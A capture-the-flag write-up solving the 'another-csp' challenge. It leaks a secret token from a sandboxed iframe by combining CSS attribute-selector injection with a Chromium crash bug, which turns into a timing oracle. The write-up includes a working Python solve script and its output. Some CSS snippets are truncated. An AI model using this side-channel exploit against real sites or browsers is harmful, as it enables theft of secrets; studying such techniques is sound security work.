written by hartmannsyg
The gist of this challenge is that we have a box where we can inject arbitrary html into the srcdoc of a sandboxed iframe (i.e. no scripts), and make the admin bot visit the page.
1 | <iframe id="sandbox" name="sandbox" sandbox></iframe> |
In the website, we see that in the srcdoc, we have a h1 tag that contains the token
1 | document.getElementById('form').onsubmit = e => { |
This token is needed to get the flag
28 | createServer(async (req, res) => { const url = new URL(req.url, 'http://localhost/'); if (url.pathname === '/') { return res.end(index); } else if (url.pathname === '/bot') { if (browserOpen) return res.end('already open!'); const code = url.searchParams.get('code'); if (!code || code.length > 1000) return res.end('no'); visit(code); return res.end('visiting'); } else if (url.pathname === '/flag') { |
So, we have to exfiltrate the token in the h1 tag in the sandboxed iframe, somehow.
Accessing token via css
We note something strange - the h1 that contains the token also has an extra attribute data-token
:
<h1 data-token="${token}">${token}</h1> |
We can use an attribute selector to test for it, like
1 | <style> |
We only need to match the start of the attribute using ^=
1 | <style> |
Crash Timing Oracle
This is the intended solution
https://issues.chromium.org/issues/41490764
Steps to reproduce the problem:
- Create a color using color-mix.
--c1: color-mix(in srgb, blue 50%, red);
- Use it with relative color syntax.
--c2: srgb(from var(--c1) r g b);
- Try to display it somewhere:
background-color: var(--c2);
- Observe the Aw, Snap! page.
Sure enough, if we insert the crash:
1 | <style> |
So I made some initial code to see if whether crashing the site will cause any difference in time
1 | import requests import time URL = "https://another-csp-ab646b5e52d72f15.mc.ax/" # change BOT_URL = URL + "bot" def check(a): code = "<style>[data-token ^= \"" + a + "\"] {--c1: color-mix(in srgb, blue 50%, red);--c2: srgb(from var(--c1) r g b);background-color: var(--c2);}</style>" res = requests.get(BOT_URL, params={"code": code}).text start_time = time.time() while True: time.sleep(1) res = requests.get(BOT_URL).text if res == "no": break if "404" in res: print("ITS JOEVER; THE CONTAINER HAS DIED") break diff = time.time()-start_time return diff possible = "0123456789abcdef" for c in possible: print(f"{c}: {check(c)}") |
which gives:
0: 3.892151117324829 1: 3.7064714431762695 2: 3.7964861392974854 3: 3.5073633193969727 4: 4.0752739906311035 5: 3.6828672885894775 6: 4.019136428833008 7: 36.27450704574585 <--- sus, not the real one, this sometimes happens though 8: 3.5690736770629883 9: 3.879948616027832 a: 3.6855063438415527 b: 4.01620078086853 c: 4.176863431930542 d: 3.8658812046051025 e: 11.673217535018921 <--- real one f: 3.826751708984375 |
Apparently, the reason for this working is:
the basic theory here is that puppeteer is awful so if the browser crashes it just … dies… and will get killed in 10s by the parent process.
whereas if the crash css doesnt match, 1s after the iframe loads the program kills itself, which is less than 10s
My Solve Script
1 | import requests import time URL = "https://another-csp-29fd2dc3c47b031a.mc.ax/" # change BOT_URL = URL + "bot" FLAG_URL = URL + "flag" MIN_TIME = 5 MAX_TIME = 15 def check(a): code = "<style>[data-token ^= \"" + a + "\"] {--c1: color-mix(in srgb, blue 50%, red);--c2: srgb(from var(--c1) r g b);background-color: var(--c2);}</style>" res = requests.get(BOT_URL, params={"code": code}).text start_time = time.time() diff = "error" while True: time.sleep(1) res = requests.get(BOT_URL).text if res == "no": break if "404" in res: print("ITS JOEVER; THE CONTAINER HAS DIED") break diff = time.time() - start_time # too long already if diff > MAX_TIME: return "error" return diff possible = "0123456789abcdef" known = "" for i in range(6): for c in possible: t = check(known + c) while t == "error": t = check(known + c) print(f"{known + c}: {t}") if MIN_TIME < t and t < MAX_TIME: known += c break print(known) print(requests.get(FLAG_URL + "?token=" + known).text) |
0: 1.850050926208496 1: 1.9460952281951904 2: 1.946507215499878 3: 1.9435338973999023 4: 2.3611578941345215 5: 1.9789025783538818 6: 1.9426231384277344 7: 8.475534915924072 70: 1.8813529014587402 71: 9.694042682647705 710: 2.1459810733795166 711: 1.8459458351135254 712: 1.9468448162078857 713: 1.9198267459869385 714: 1.9059381484985352 715: 1.8420600891113281 716: 1.8379285335540771 717: 1.8728313446044922 718: 1.7433650493621826 719: 8.217298984527588 7190: 1.76682448387146 7191: 1.9449293613433838 7192: 1.87434983253479 7193: 1.9374840259552002 7194: 1.81864595413208 7195: 1.9919259548187256 7196: 2.241041421890259 7197: 1.9941952228546143 7198: 1.9110934734344482 7199: 8.059188842773438 71990: 1.9987494945526123 71991: 1.9980275630950928 71992: 1.8948369026184082 71993: 1.9164738655090332 71994: 1.9653477668762207 71995: 1.8988752365112305 71996: 1.9797813892364502 71997: 1.9615263938903809 71998: 9.761866331100464 719980: 2.216115713119507 719981: 2.002336025238037 719982: 1.9037351608276367 719983: 2.0017824172973633 719984: 10.286545276641846 719984 dice{yeah-idk-this-one-was-pretty-funny} |
Lag Timing Oracle
It is also possible to make a timing differential using lag
For example, _arkark’s solution uses a css that takes a long time to render
1 | <style> |
garvinator’s solution uses svg instead:
1 | <style> |
The solving method for these two are basically identical to the intended solution though, it the oracle hits, it will take longer than if it does not.